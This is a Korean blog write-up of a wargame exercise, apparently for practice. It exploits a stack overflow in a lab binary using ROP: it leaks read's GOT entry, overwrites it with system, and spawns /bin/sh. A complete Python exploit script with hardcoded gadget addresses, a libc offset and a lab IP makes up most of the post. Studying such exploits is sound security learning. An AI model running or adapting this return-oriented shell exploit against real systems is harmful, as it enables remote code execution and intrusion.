우선 함수하나를 호출하고 다음 WIN을 출력하게 된다.
buf가 0x88인데 0x100까지 입력받을 수 있어서 취약점이 생긴다.
135개까지는 괜찮은데 136개부터 세크먼테이션 폴트가 뜬다.
NX가 적용되어 있기 때문에 쉘코드를 이용해서 푸는건 내가 못한다.
ROP 기법을 사용해 문제를 풀어본건데 환경 설정 부터해보자
1 2 3 4 5 6 7 8 9 10 11 | service rop { flags = REUSE socket_type = stream wait = no user = root server = /home/tory/Desktop/rop disable = no } echo "rop 1234/tcp" >> /etc/services | cs |
xinetd 데몬을 사용해서 돌리는데 이렇게 설정하고 nc로 접속해보자.
잘 구동되는 것을 볼 수 있다.
페이로드를 생각해보면
/bin/sh를 메모리 영역에 쓰고 write 함수를 사용해 read@got에서 read의 실제 주소를 구한다. 그 후 read 함수로 read@got를 실제 시스템 주소로 덮어쓴다. 이제 read함수를 통해 system("/bin/sh")를 할 수 있다.
read(0, dynamic, 8);
write(1, read_got, 4);
read(0, read_got, 4);
read(dynamic);
/bin/sh를 넣을 영역은 dynamic로 선택했다 bss가 8바이트 밖에 안되기 때문이다 하지만 그냥 써도 상관 없을 듯하다.
다음 pppr을 통해 인자를 잘 전달할 수 있게 하고
read의 plt와 got를 구하였다
write의 plt와 got도 구하였다
ASLR 상태에서 시스템 함수 주소는 got에서 얻은 실제 주소로 얻을 수 있다
0x9ae80
이제 구할건 다했다 익스플로잇을 해보자!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | from time import * from struct import * from socket import * p = lambda x:pack("<L",x) up = lambda x:unpack("<L",x)[0] dynamic = 0x08049530 pppr = 0x080484b6 read_plt = 0x0804832c read_got = 0x0804961c write_plt = 0x0804830c write_got = 0x08049614 offset = 0x9ae80 cmd = "/bin/sh" payload = '' payload = 'A'*140 payload += p(read_plt) payload += p(pppr) payload += p(0) payload += p(dynamic) payload += p(len(cmd)+1) payload += p(write_plt) payload += p(pppr) payload += p(1) payload += p(read_got) payload += p(4) payload += p(read_plt) payload += p(pppr) payload += p(0) payload += p(read_got) payload += p(4) payload += p(read_plt) payload += 'AAAA' payload += p(dynamic) ip = '192.168.153.139' port = 1234 s = socket() s.connect((ip,port)) print '[*] sending payload...' s.send(payload+'\n') s.send(cmd+'\n') sleep(1) read = up(s.recv(4)) print '[*] read_addr = '+hex(read) system = read - offset print '[*] system_addr = '+hex(system) sleep(1) s.send(p(system)) print '[*] exploit!!!' s.send("id\n") sleep(1) print s.recv(100) | cs |
'WARGAME > ETC' 카테고리의 다른 글
solveme.kr Photo Gallery (0) | 2017.01.10 |
---|---|
solveme.kr What's this file? (0) | 2017.01.10 |
solveme.kr Hardrev Encode (0) | 2016.08.08 |
abex1~abex5 (0) | 2016.07.11 |
python sandbox (0) | 2016.02.29 |